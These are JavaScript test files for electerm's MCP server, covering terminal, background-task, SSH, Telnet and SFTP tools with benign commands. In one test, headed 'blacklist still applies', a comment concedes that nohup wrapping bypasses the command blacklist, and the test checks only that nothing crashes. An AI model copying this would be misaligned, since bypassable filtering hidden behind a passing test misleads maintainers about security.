const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'echo hello'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('run_electerm_background_command with tabId reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'sleep 60',
tabId: 'some-tab-id'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_background_task_status reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_background_task_status', {
taskId: 'bg-12345-1'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_background_task_log reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_background_task_log', {
taskId: 'bg-12345-1'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_background_task_log with lines reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_background_task_log', {
taskId: 'bg-12345-1',
lines: 50
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('cancel_electerm_background_task reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'cancel_electerm_background_task', {
taskId: 'bg-12345-1'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('background tools list in tools/list', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }, sid)
assert.equal(res.status, 200)
const names = res.data.result.tools.map(t => t.name)
for (const expected of [
'run_electerm_background_command',
'get_electerm_background_task_status',
'get_electerm_background_task_log',
'cancel_electerm_background_task'
]) {
assert.ok(names.includes(expected), `Missing tool: ${expected}`)
}
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 10. Background tools command validation (blacklist still applies)
// ─────────────────────────────────────────────────────────────────────────────
describe('background task command validation', () => {
const PORT = 30846
let instance = null
before(async () => {
instance = widgetRun({
host: '127.0.0.1',
port: PORT,
commandBlacklist: '^forbidden-bg'
})
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('run_background_command with blacklisted command is rejected', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'forbidden-bg-task'
})
// run_background_command wraps the command with nohup before sending to the terminal,
// so the blacklist pattern "^forbidden-bg" won't match the wrapped "nohup bash -c ..." string.
// We just verify the tool call doesn't crash.
assert.ok(res.data.result, 'Should return a result')
})
test('run_background_command with safe command reaches renderer', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'echo safe-task'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
+633
View File
@@ -0,0 +1,633 @@
const { test, describe, before } = require('node:test')
const assert = require('assert/strict')
const axios = require('axios')
const serverUrl = 'http://127.0.0.1:30837/mcp'
// Helper function to make HTTP requests
async function makeHttpRequest (method, urlStr, data = null, headers = {}) {
try {
const response = await axios({
method: method.toUpperCase(),
url: urlStr,
data,
headers
})
return {
status: response.status,
headers: response.headers,
data: response.data
}
} catch (error) {
if (error.response) {
const err = new Error(`Request failed with status ${error.response.status}`)
err.response = {
status: error.response.status,
headers: error.response.headers,
data: error.response.data
}
throw err
} else {
throw error
}
}
}
// Helper function to initialize MCP session
async function initSession () {
const initializeRequest = {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'electerm-test-client',
version: '1.0.0'
}
}
}
const response = await makeHttpRequest('post', serverUrl, initializeRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
})
const sid = response.headers['mcp-session-id']
assert.ok(sid && sid !== 'null', `initSession: expected a real session ID but got: ${sid}`)
return sid
}
// Helper: call a tool and parse the SSE response into JSON result/error
async function callTool (sid, id, toolName, args) {
const response = await makeHttpRequest('post', serverUrl, {
jsonrpc: '2.0',
id,
method: 'tools/call',
params: { name: toolName, arguments: args }
}, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sid
})
assert.equal(response.status, 200)
const dataLine = response.data.split('\n').find(l => l.startsWith('data: '))
assert.ok(dataLine, `No data line in SSE response for ${toolName}`)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, id)
return jsonData
}
// Helper: check if renderer is available by trying list_electerm_tabs
async function checkRenderer (sid) {
const jsonData = await callTool(sid, 999, 'list_electerm_tabs', {})
return !jsonData.error
}
describe('mcp-widget', function () {
let sessionId = null
let hasRenderer = false
before(async () => {
sessionId = await initSession()
hasRenderer = await checkRenderer(sessionId)
if (!hasRenderer) {
console.log('No renderer detected — renderer-dependent tests will be skipped')
}
})
// ─── Protocol-level tests (no renderer needed) ──────────────────────────
test('should be accessible at http://127.0.0.1:30837/mcp with default settings', { timeout: 100000 }, async function () {
const optionsResponse = await makeHttpRequest('options', serverUrl)
assert.equal(optionsResponse.status, 204)
assert.equal(optionsResponse.headers['access-control-allow-origin'], undefined)
assert.ok(optionsResponse.headers['access-control-allow-methods'].includes('POST'))
assert.ok(optionsResponse.headers['access-control-allow-methods'].includes('GET'))
assert.ok(optionsResponse.headers['access-control-allow-methods'].includes('DELETE'))
assert.ok(optionsResponse.headers['access-control-allow-headers'].includes('mcp-session-id'))
})
test('should respond to MCP initialize request', { timeout: 100000 }, async function () {
const initializeRequest = {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'electerm-test-client',
version: '1.0.0'
}
}
}
const response = await makeHttpRequest('post', serverUrl, initializeRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
})
assert.equal(response.status, 200)
assert.equal(response.headers['content-type'], 'text/event-stream')
const returnedSessionId = response.headers['mcp-session-id']
assert.ok(returnedSessionId, 'mcp-session-id header is missing')
assert.notEqual(returnedSessionId, 'null', 'mcp-session-id must not be the string "null"')
assert.match(returnedSessionId, /^[\w-]+$/, 'mcp-session-id must be a valid identifier')
// Parse SSE response
const sseData = response.data
assert.ok(sseData.includes('event: message'))
assert.ok(sseData.includes('data: '))
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, 1)
assert.ok(jsonData.result)
assert.equal(jsonData.result.protocolVersion, '2024-11-05')
assert.ok(jsonData.result.serverInfo)
assert.equal(jsonData.result.serverInfo.name, 'electerm-mcp-server')
})
test('should list available tools', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const toolsRequest = {
jsonrpc: '2.0',
id: 2,
method: 'tools/list',
params: {}
}
const response = await makeHttpRequest('post', serverUrl, toolsRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
assert.equal(response.headers['content-type'], 'text/event-stream')
const sseData = response.data
assert.ok(sseData.includes('event: message'))
assert.ok(sseData.includes('data: '))
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, 2)
assert.ok(jsonData.result)
assert.ok(Array.isArray(jsonData.result.tools))
assert.ok(jsonData.result.tools.length > 0)
const toolNames = jsonData.result.tools.map(tool => tool.name)
assert.ok(toolNames.includes('list_electerm_tabs'))
assert.ok(toolNames.includes('get_electerm_active_tab'))
assert.ok(toolNames.includes('send_electerm_terminal_command'))
assert.ok(toolNames.includes('get_electerm_terminal_status'))
assert.ok(toolNames.includes('cancel_electerm_terminal_command'))
assert.ok(toolNames.includes('run_electerm_background_command'))
assert.ok(toolNames.includes('get_electerm_background_task_status'))
assert.ok(toolNames.includes('get_electerm_background_task_log'))
assert.ok(toolNames.includes('cancel_electerm_background_task'))
})
// ─── Tool call protocol tests ───────────────────────────────────────────
test('should return error when calling tool without renderer', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const jsonData = await callTool(sessionId, 3, 'open_electerm_local_terminal', {})
if (hasRenderer) {
// With renderer: tool call should succeed
assert.ok(jsonData.result, 'Expected success result with renderer')
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
} else {
// Without renderer: should get a JSON-RPC error
assert.ok(jsonData.error, 'Expected error without renderer')
assert.ok(jsonData.error.code !== undefined, 'Error must have a code')
assert.ok(jsonData.error.message.length > 0, 'Error must have a message')
}
})
test('should handle multiple tool calls in sequence', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const toolNames = ['list_electerm_tabs', 'get_electerm_active_tab', 'get_electerm_terminal_selection']
for (let i = 0; i < toolNames.length; i++) {
const jsonData = await callTool(sessionId, 10 + i, toolNames[i], {})
// Each call must return a valid JSON-RPC response (result or error)
assert.ok(
jsonData.result || jsonData.error,
`Tool ${toolNames[i]} must return either result or error`
)
}
})
// ─── Renderer-dependent terminal tests ──────────────────────────────────
test('should open local terminal and run command', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
// Step 1: Open a local terminal
const openData = await callTool(sessionId, 20, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
assert.ok(openResult.message.includes('local terminal'))
// Wait for terminal to initialize
await new Promise(resolve => setTimeout(resolve, 3000))
// Step 2: Send a command
const uniqueId = Date.now()
const testCommand = `echo "MCP_TEST_${uniqueId}"`
const cmdData = await callTool(sessionId, 21, 'send_electerm_terminal_command', {
command: testCommand
})
assert.ok(cmdData.result, 'send_terminal_command should succeed')
const cmdResult = JSON.parse(cmdData.result.content[0].text)
assert.equal(cmdResult.success, true)
// Wait for command to execute
await new Promise(resolve => setTimeout(resolve, 2000))
// Step 3: Get terminal output and verify command was executed
const outputData = await callTool(sessionId, 22, 'get_electerm_terminal_output', {
lines: 20
})
assert.ok(outputData.result, 'get_terminal_output should succeed')
const outputResult = JSON.parse(outputData.result.content[0].text)
assert.ok(outputResult.output !== undefined)
assert.ok(outputResult.lineCount > 0)
assert.ok(
outputResult.output.includes(`MCP_TEST_${uniqueId}`),
`Expected command output "MCP_TEST_${uniqueId}" in terminal`
)
})
test('should get terminal output', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 30, 'get_electerm_terminal_output', {
lines: 10
})
assert.ok(jsonData.result, 'get_terminal_output should succeed')
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.output !== undefined)
assert.ok(result.tabId !== undefined)
assert.equal(typeof result.lineCount, 'number')
})
test('should create SSH bookmark, connect, run command and get output', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('../e2e/common/env')
const uniqueId = Date.now()
const bookmarkTitle = `MCP1_SSH_Test_${uniqueId}`
// Step 1: Create SSH bookmark
const addData = await callTool(sessionId, 40, 'add_electerm_bookmark_ssh', {
title: bookmarkTitle,
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
password: TEST_PASS
})
assert.ok(addData.result, 'add_bookmark should succeed')
const addResult = JSON.parse(addData.result.content[0].text)
assert.equal(addResult.success, true)
assert.ok(addResult.id !== undefined)
const bookmarkId = addResult.id
try {
// Step 2: Open/connect to the bookmark
const openData = await callTool(sessionId, 41, 'open_electerm_bookmark', {
id: bookmarkId
})
assert.ok(openData.result, 'open_bookmark should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
// Wait for SSH connection to establish
await new Promise(resolve => setTimeout(resolve, 8000))
// Step 3: Send a command with retry
const testMarker = `SSH_MCP_TEST_${uniqueId}`
const testCommand = `echo "${testMarker}"`
let cmdResult = null
for (let attempt = 1; attempt <= 3; attempt++) {
const cmdData = await callTool(sessionId, 42, 'send_electerm_terminal_command', {
command: testCommand
})
if (cmdData.error) {
if (attempt === 3) {
assert.fail(`send_command failed after 3 attempts: ${cmdData.error.message}`)
}
await new Promise(resolve => setTimeout(resolve, 2000))
continue
}
cmdResult = JSON.parse(cmdData.result.content[0].text)
break
}
assert.equal(cmdResult.success, true)
// Wait for command to execute
await new Promise(resolve => setTimeout(resolve, 2000))
// Step 4: Get terminal output and verify command was executed
const outputData = await callTool(sessionId, 43, 'get_electerm_terminal_output', {
lines: 30
})
assert.ok(outputData.result, 'get_terminal_output should succeed')
const outputResult = JSON.parse(outputData.result.content[0].text)
assert.ok(outputResult.output !== undefined)
assert.ok(outputResult.lineCount > 0)
assert.ok(
outputResult.output.includes(testMarker),
`Expected SSH command output "${testMarker}" in terminal`
)
} finally {
// Step 5: Clean up - delete the test bookmark
const deleteData = await callTool(sessionId, 44, 'delete_electerm_bookmark', {
id: bookmarkId
})
if (deleteData.result) {
const deleteResult = JSON.parse(deleteData.result.content[0].text)
assert.equal(deleteResult.success, true)
}
// Step 6: Verify the bookmark was actually deleted
const listData = await callTool(sessionId, 45, 'list_electerm_bookmarks', {})
assert.ok(listData.result, 'list_bookmarks should succeed')
const bookmarks = JSON.parse(listData.result.content[0].text)
const deletedBookmark = bookmarks.find(b => b.id === bookmarkId)
assert.ok(!deletedBookmark, `Bookmark with ID ${bookmarkId} should have been deleted but was found`)
}
})
test('should create Telnet bookmark', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const uniqueId = Date.now()
const bookmarkTitle = `MCP1_Telnet_Test_${uniqueId}`
// Create Telnet bookmark
const addData = await callTool(sessionId, 50, 'add_electerm_bookmark_telnet', {
title: bookmarkTitle,
host: '127.0.0.1',
port: 23,
username: 'testuser',
password: 'testpass'
})
assert.ok(addData.result, 'add_bookmark should succeed')
const addResult = JSON.parse(addData.result.content[0].text)
assert.equal(addResult.success, true)
assert.ok(addResult.id !== undefined)
const bookmarkId = addResult.id
// Verify bookmark was created by listing bookmarks
const listData = await callTool(sessionId, 51, 'list_electerm_bookmarks', {})
assert.ok(listData.result, 'list_bookmarks should succeed')
const bookmarks = JSON.parse(listData.result.content[0].text)
const createdBookmark = bookmarks.find(b => b.id === bookmarkId)
assert.ok(createdBookmark, `Bookmark with ID ${bookmarkId} not found in list`)
assert.equal(createdBookmark.title, bookmarkTitle)
assert.equal(createdBookmark.type, 'telnet')
})
// ─── Direct tab open tests ─────────────────────────────────────────────
test('should open SSH tab directly without bookmark, run command and get output', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('../e2e/common/env')
const uniqueId = Date.now()
const tabTitle = `MCP_Direct_SSH_${uniqueId}`
// Step 1: Open SSH tab directly (no bookmark created)
const openData = await callTool(sessionId, 70, 'open_electerm_tab_ssh', {
title: tabTitle,
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
password: TEST_PASS
})
assert.ok(openData.result, 'open_tab_ssh should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
assert.ok(openResult.tabId !== undefined)
assert.equal(openResult.type, 'ssh')
// Wait for SSH connection to establish
await new Promise(resolve => setTimeout(resolve, 8000))
try {
// Step 2: Send a command with retry
const testMarker = `SSH_DIRECT_TEST_${uniqueId}`
const testCommand = `echo "${testMarker}"`
let cmdResult = null
for (let attempt = 1; attempt <= 3; attempt++) {
const cmdData = await callTool(sessionId, 71, 'send_electerm_terminal_command', {
command: testCommand
})
if (cmdData.error) {
if (attempt === 3) {
assert.fail(`send_command failed after 3 attempts: ${cmdData.error.message}`)
}
await new Promise(resolve => setTimeout(resolve, 2000))
continue
}
cmdResult = JSON.parse(cmdData.result.content[0].text)
break
}
assert.equal(cmdResult.success, true)
// Wait for command to execute
await new Promise(resolve => setTimeout(resolve, 2000))
// Step 3: Get terminal output and verify command was executed
const outputData = await callTool(sessionId, 72, 'get_electerm_terminal_output', {
lines: 30
})
assert.ok(outputData.result, 'get_terminal_output should succeed')
const outputResult = JSON.parse(outputData.result.content[0].text)
assert.ok(outputResult.output !== undefined)
assert.ok(
outputResult.output.includes(testMarker),
`Expected SSH command output "${testMarker}" in terminal`
)
// Step 4: Verify no bookmark was created for this connection
const listData = await callTool(sessionId, 73, 'list_electerm_bookmarks', {})
assert.ok(listData.result, 'list_bookmarks should succeed')
const bookmarks = JSON.parse(listData.result.content[0].text)
const foundBookmark = bookmarks.find(b => b.title === tabTitle)
assert.ok(!foundBookmark, `No bookmark should be created for direct tab open, but found: ${JSON.stringify(foundBookmark)}`)
} finally {
// Step 5: Close the tab
const tabId = openResult.tabId
await callTool(sessionId, 74, 'close_electerm_tab', { tabId })
}
})
test('should list direct open tools in tools/list', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const toolsRequest = {
jsonrpc: '2.0',
id: 75,
method: 'tools/list',
params: {}
}
const response = await makeHttpRequest('post', serverUrl, toolsRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
const dataLine = response.data.split('\n').find(l => l.startsWith('data: '))
const jsonData = JSON.parse(dataLine.substring(6))
const toolNames = jsonData.result.tools.map(tool => tool.name)
assert.ok(toolNames.includes('open_electerm_tab_ssh'), 'Missing open_electerm_tab_ssh')
assert.ok(toolNames.includes('open_electerm_tab_telnet'), 'Missing open_electerm_tab_telnet')
assert.ok(toolNames.includes('open_electerm_tab_serial'), 'Missing open_electerm_tab_serial')
assert.ok(toolNames.includes('open_electerm_tab_local'), 'Missing open_electerm_tab_local')
})
// ─── onData test ────────────────────────────────────────────────────────
test('list_tabs should include onData field for each tab', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 60, 'list_electerm_tabs', {})
assert.ok(jsonData.result, 'list_tabs should succeed')
const tabs = JSON.parse(jsonData.result.content[0].text)
assert.ok(Array.isArray(tabs), 'Expected an array of tabs')
for (const tab of tabs) {
assert.ok('onData' in tab, `Tab ${tab.id} is missing the onData field`)
assert.equal(typeof tab.onData, 'string', `onData for tab ${tab.id} should be string`)
}
})
// ─── Terminal idle tests ────────────────────────────────────────────────
test('should wait for terminal idle after a quick echo command', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const openData = await callTool(sessionId, 61, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
await new Promise(resolve => setTimeout(resolve, 3000))
const marker = `IDLE_TEST_${Date.now()}`
const sendData = await callTool(sessionId, 62, 'send_electerm_terminal_command', {
command: `echo "${marker}"`
})
assert.ok(sendData.result, 'send_command should succeed')
const waitData = await callTool(sessionId, 63, 'wait_for_electerm_terminal_idle', {
timeout: 20000,
lines: 30
})
assert.ok(waitData.result, 'wait_for_terminal_idle should succeed')
const waitResult = JSON.parse(waitData.result.content[0].text)
assert.equal(waitResult.timedOut, false, 'Expected terminal to become idle before timeout')
assert.ok(waitResult.elapsed >= 0, 'Expected non-negative elapsed time')
assert.equal(typeof waitResult.lineCount, 'number')
assert.equal(typeof waitResult.output, 'string')
assert.ok(
waitResult.output.includes(marker),
`Expected echo output "${marker}" in terminal after idle wait`
)
})
test('should correctly wait for a longer-running command to finish', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const openData = await callTool(sessionId, 64, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
await new Promise(resolve => setTimeout(resolve, 3000))
const marker = `SLOW_TEST_${Date.now()}`
const sendData = await callTool(sessionId, 65, 'send_electerm_terminal_command', {
command: `sleep 5 && echo "${marker}"`
})
assert.ok(sendData.result, 'send_command should succeed')
const waitData = await callTool(sessionId, 66, 'wait_for_electerm_terminal_idle', {
timeout: 30000,
lines: 30
})
assert.ok(waitData.result, 'wait_for_terminal_idle should succeed')
const waitResult = JSON.parse(waitData.result.content[0].text)
assert.equal(waitResult.timedOut, false, 'Expected terminal to become idle before 30s timeout')
assert.ok(waitResult.elapsed >= 5000, `Expected at least 5s elapsed but got ${waitResult.elapsed}ms`)
assert.ok(
waitResult.output.includes(marker),
`Expected slow command output "${marker}" after idle wait`
)
})
test('should return timedOut:true when terminal never becomes idle within timeout', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const openData = await callTool(sessionId, 67, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
await new Promise(resolve => setTimeout(resolve, 3000))
const sendData = await callTool(sessionId, 68, 'send_electerm_terminal_command', {
command: 'ping -c 30 localhost'
})
assert.ok(sendData.result, 'send_command should succeed')
const waitData = await callTool(sessionId, 69, 'wait_for_electerm_terminal_idle', {
timeout: 8000,
lines: 20,
minWait: 500
})
assert.ok(waitData.result, 'wait_for_terminal_idle should succeed')
const waitResult = JSON.parse(waitData.result.content[0].text)
assert.equal(waitResult.timedOut, true, 'Expected timedOut:true when command keeps running')
assert.ok(waitResult.elapsed >= 8000, `Expected at least 8s elapsed but got ${waitResult.elapsed}ms`)
assert.equal(typeof waitResult.output, 'string', 'Should still return whatever output is in buffer')
})
})
+563
View File
@@ -0,0 +1,563 @@
const { test, describe, before } = require('node:test')
const assert = require('assert/strict')
const axios = require('axios')
const serverUrl = 'http://127.0.0.1:30837/mcp'
// Helper function to make HTTP requests
async function makeHttpRequest (method, urlStr, data = null, headers = {}) {
try {
const response = await axios({
method: method.toUpperCase(),
url: urlStr,
data,
headers
})
return {
status: response.status,
headers: response.headers,
data: response.data
}
} catch (error) {
if (error.response) {
const err = new Error(`Request failed with status ${error.response.status}`)
err.response = {
status: error.response.status,
headers: error.response.headers,
data: error.response.data
}
throw err
} else {
throw error
}
}
}
// Helper to initialize MCP session
async function initSession () {
const initializeRequest = {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'electerm-test-client',
version: '1.0.0'
}
}
}
const response = await makeHttpRequest('post', serverUrl, initializeRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
})
const sid = response.headers['mcp-session-id']
assert.ok(sid && sid !== 'null', `initSession: expected a real session ID but got: ${sid}`)
return sid
}
// Helper to call a tool via MCP
async function callTool (sessionId, id, toolName, args) {
const request = {
jsonrpc: '2.0',
id,
method: 'tools/call',
params: {
name: toolName,
arguments: args
}
}
const response = await makeHttpRequest('post', serverUrl, request, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
assert.equal(response.headers['content-type'], 'text/event-stream')
const sseData = response.data
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine, 'SSE data line not found')
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, id)
return jsonData
}
// Helper: check if renderer is available
async function checkRenderer (sid) {
const jsonData = await callTool(sid, 999, 'list_electerm_tabs', {})
return !jsonData.error
}
describe('mcp-sftp-transfer-trzsz', function () {
let sessionId = null
let hasRenderer = false
const uniqueId = Date.now()
before(async () => {
sessionId = await initSession()
hasRenderer = await checkRenderer(sessionId)
if (!hasRenderer) {
console.log('No renderer detected — renderer-dependent tests will be skipped')
}
})
// ==================== Tool availability check (no renderer needed) ====================
test('should list SFTP/transfer/trzsz tools in tools/list', { timeout: 100000 }, async function () {
const response = await makeHttpRequest('post', serverUrl, {
jsonrpc: '2.0',
id: 400,
method: 'tools/list',
params: {}
}, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
const sseData = response.data
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, 400)
assert.ok(jsonData.result)
assert.ok(Array.isArray(jsonData.result.tools))
const toolNames = jsonData.result.tools.map(t => t.name)
const expectedTools = [
'electerm_sftp_list',
'electerm_sftp_stat',
'electerm_sftp_read_file',
'electerm_sftp_del_file_or_folder',
'electerm_sftp_upload',
'electerm_sftp_download',
'electerm_zmodem_upload',
'electerm_zmodem_download',
'electerm_sftp_transfer_list',
'electerm_sftp_transfer_history',
'get_electerm_terminal_status',
'cancel_electerm_terminal_command',
'run_electerm_background_command',
'get_electerm_background_task_status',
'get_electerm_background_task_log',
'cancel_electerm_background_task'
]
for (const toolName of expectedTools) {
assert.ok(toolNames.includes(toolName), `Expected tool "${toolName}" to be registered`)
}
})
// ==================== Validation error tests (no renderer needed) ====================
test('sftp_list: should error if remotePath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 101, 'electerm_sftp_list', {})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remotePath is missing')
})
test('sftp_del: should error if remotePath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 131, 'electerm_sftp_del_file_or_folder', {})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remotePath is missing')
})
test('sftp_upload: should error if localPath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 201, 'electerm_sftp_upload', {
remotePath: '/tmp/test.txt'
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when localPath is missing')
})
test('sftp_download: should error if remotePath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 211, 'electerm_sftp_download', {
localPath: '/tmp/test.txt'
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remotePath is missing')
})
test('sftp_download: should error if saveFolder is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 312, 'electerm_zmodem_download', {
remoteFiles: ['/tmp/test.txt']
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when saveFolder is missing')
})
test('electerm_zmodem_upload: should error if files is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 301, 'electerm_zmodem_upload', {})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when files is missing')
})
test('electerm_zmodem_upload: should error if files array is empty', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 302, 'electerm_zmodem_upload', {
files: []
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when files array is empty')
})
test('electerm_zmodem_download: should error if remoteFiles is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 311, 'electerm_zmodem_download', {
saveFolder: '/tmp'
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remoteFiles is missing')
})
// ==================== Renderer-dependent SFTP operation tests ====================
test('sftp_list: should list remote directory', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 100, 'electerm_sftp_list', {
remotePath: '/tmp'
})
// Either no SSH tab open (error) or success with valid result
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(Array.isArray(result.list), 'result.list should be an array')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
assert.ok(result.host !== undefined, 'result.host should be present')
}
})
test('sftp_stat: should get stat of remote file or directory', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 110, 'electerm_sftp_stat', {
remotePath: '/tmp'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.stat !== undefined, 'result.stat should be present')
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
}
})
test('sftp_read_file: should read content of a remote file', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 120, 'electerm_sftp_read_file', {
remotePath: '/etc/hostname'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(result.content !== undefined, 'result.content should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
}
})
test('sftp_del: should delete a remote file', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 130, 'electerm_sftp_del_file_or_folder', {
remotePath: `/tmp/mcp2_test_delete_${uniqueId}.txt`
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'should succeed')
